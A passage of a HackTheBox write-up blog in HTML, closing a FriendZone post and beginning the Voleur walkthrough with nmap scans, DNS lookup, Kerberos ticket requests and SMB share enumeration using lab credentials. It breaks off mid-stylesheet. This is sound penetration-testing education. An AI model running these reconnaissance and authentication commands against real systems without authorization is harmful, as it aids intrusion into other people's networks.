.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@FriendZone</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash">cat root.txt</span>

<span class="linux-output">67a0b215************************</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Linux" /><category term="Easy" /><summary type="html"><![CDATA[Every now and then I’ll go back and do an old box on HTB, it serves as a nice break from all the Windows/AD headscratchers that’s been released recently. It’s also interesting to see how much the boxes have changed over the years. While the current boxes have much more realistic scenarios and often feature newly discovered vulnerabilities, older ones are more CTF-like and full of rabbit holes. Friendzone was released in February 2019, so the box is themed around Valentines with lots of trolls. It starts with finding credentials in an open SMB share and discovering a subdomain via DNS zone transfer. The subdomain hosts an admin portal vulnerable to LFI, which can be exploited to get a shell. Privilege escalation involves a simple Python module hijack.]]></summary></entry><entry><title type="html">HTB Machine - Voleur</title><link href="https://ch3ng625.github.io//voleur" rel="alternate" type="text/html" title="HTB Machine - Voleur" /><published>2025-11-02T00:00:00+00:00</published><updated>2025-11-02T00:00:00+00:00</updated><id>https://ch3ng625.github.io//voleur</id><content type="html" xml:base="https://ch3ng625.github.io//voleur"><![CDATA[<h2 id="summary">Summary:</h2>
<p><em>Voleur</em> translates to “thief” in French, which is a fitting name for this box as it’s all about “stealing” information and secrets everywhere. It starts with finding an Excel file in SMB containing credentials for several users, one of which has permissions to restore a deleted user account. That account has access to a home directory backup containing DPAPI credentials, which kicks off a chain of lateral movement and pillaging, eventually leading to recovering an <code class="language-plaintext highlighter-rouge">ntds.dit</code> backup and dumping the admin hash.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<p>As common with recent AD machines, this box is an assumed breach scenario with a set of domain credentials provided from the start: <code class="language-plaintext highlighter-rouge">ryan.naylor:HollowOct31Nyt</code>.</p>

<p>Regardless, like any other boxes, it starts with Nmap scans:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.232.130</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 23:03 ACST
Nmap scan report for 10.129.232.130
Host is up (0.26s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2222/tcp  open  EtherNetIP-1
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
49672/tcp open  unknown
53400/tcp open  unknown
53401/tcp open  unknown
53404/tcp open  unknown
53426/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 263.73 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49668,49672,53400,53401,53404,53426 10.129.232.130</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 23:16 ACST
Nmap scan report for 10.129.232.130
Host is up (0.25s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-28 21:46:11Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
53400/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
53401/tcp open  msrpc         Microsoft Windows RPC
53404/tcp open  msrpc         Microsoft Windows RPC
53426/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-28T21:47:15
|_  start_date: N/A
|_clock-skew: 8h00m00s

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   257.56 ms 10.10.14.1
2   258.47 ms 10.129.232.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.58 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Nmap found all the common services you’d expect on a domain controller, with DNS, Kerberos, SMB and LDAP all running. Interestingly, the LDAP scan returned very little data, only revealing the domain name <code class="language-plaintext highlighter-rouge">voleur.htb</code>. The machine name, which is important when dealing with Kerberos, is not shown here, and has to be dug out from DNS separately:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">dig any voleur.htb @10.129.10.190</span>
<span class="cmd-output">
; &lt;&lt;&gt;&gt; DiG 9.20.9-1-Debian &lt;&lt;&gt;&gt; any voleur.htb @10.129.10.190
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 6517
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;voleur.htb.			IN	ANY

;; ANSWER SECTION:
voleur.htb.		600	IN	A	10.129.232.130
voleur.htb.		3600	IN	NS	dc.voleur.htb.
voleur.htb.		3600	IN	SOA	dc.voleur.htb. hostmaster.voleur.htb. 173 900 600 86400 3600

;; ADDITIONAL SECTION:
dc.voleur.htb.		3600	IN	A	10.129.232.130

;; Query time: 259 msec
;; SERVER: 10.129.10.190#53(10.129.10.190) (TCP)
;; WHEN: Mon Jul 28 23:44:50 ACST 2025
;; MSG SIZE  rcvd: 135
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll add all of <code class="language-plaintext highlighter-rouge">voleur.htb</code>, <code class="language-plaintext highlighter-rouge">dc.voleur.htb</code> and <code class="language-plaintext highlighter-rouge">dc</code> to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>

<p>There’s also SSH running on port 2222. It shows a Ubuntu banner, so it might be running within a Linux VM/container. I immediately tried logging in with the provided creds, but it only allows key authentication.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh ryan.naylor@voleur.htb -p 2222</span>
<span class="cmd-output">
Warning: Permanently added '[voleur.htb]:2222' (ED25519) to the list of known hosts.
ryan.naylor@voleur.htb: Permission denied (publickey).
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="tcp445---smb">TCP445 - SMB:</h3>

<p>NTLM authentication is disabled, so I’ll have to use a TGT instead.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-getTGT -dc-ip 10.129.10.190 'voleur.htb/ryan.naylor:HollowOct31Nyt'</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in ryan.naylor.ccache
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">KRB5CCNAME=ryan.naylor.ccache netexec smb dc.voleur.htb -d 'voleur.htb' -k --use-kcache --shares</span>
<span class="cmd-output">
SMB         dc.voleur.htb   445    dc               [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.voleur.htb   445    dc               [+] voleur.htb\ryan.naylor from ccache 
SMB         dc.voleur.htb   445    dc               [*] Enumerated shares
SMB         dc.voleur.htb   445    dc               Share           Permissions     Remark
SMB         dc.voleur.htb   445    dc               -----           -----------     ------
SMB         dc.voleur.htb   445    dc               ADMIN$                          Remote Admin
SMB         dc.voleur.htb   445    dc               C$                              Default share
SMB         dc.voleur.htb   445    dc               Finance                         
SMB         dc.voleur.htb   445    dc               HR                              
SMB         dc.voleur.htb   445    dc               IPC$            READ            Remote IPC
SMB         dc.voleur.htb   445    dc               IT              READ            
SMB         dc.voleur.htb   445    dc               NETLOGON        READ            Logon server share 
SMB         dc.voleur.htb   445    dc               SYSVOL          READ            Logon server share
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>There’s 3 interesting shares: <code class="language-plaintext highlighter-rouge">Finance</code>, <code class="language-plaintext highlighter-rouge">HR</code> and <code class="language-plaintext highlighter-rouge">IT</code>. Only <code class="language-plaintext highlighter-rouge">IT</code> is readable.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-smbclient -k -dc-ip 10.129.10.190 'dc.voleur.htb'</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
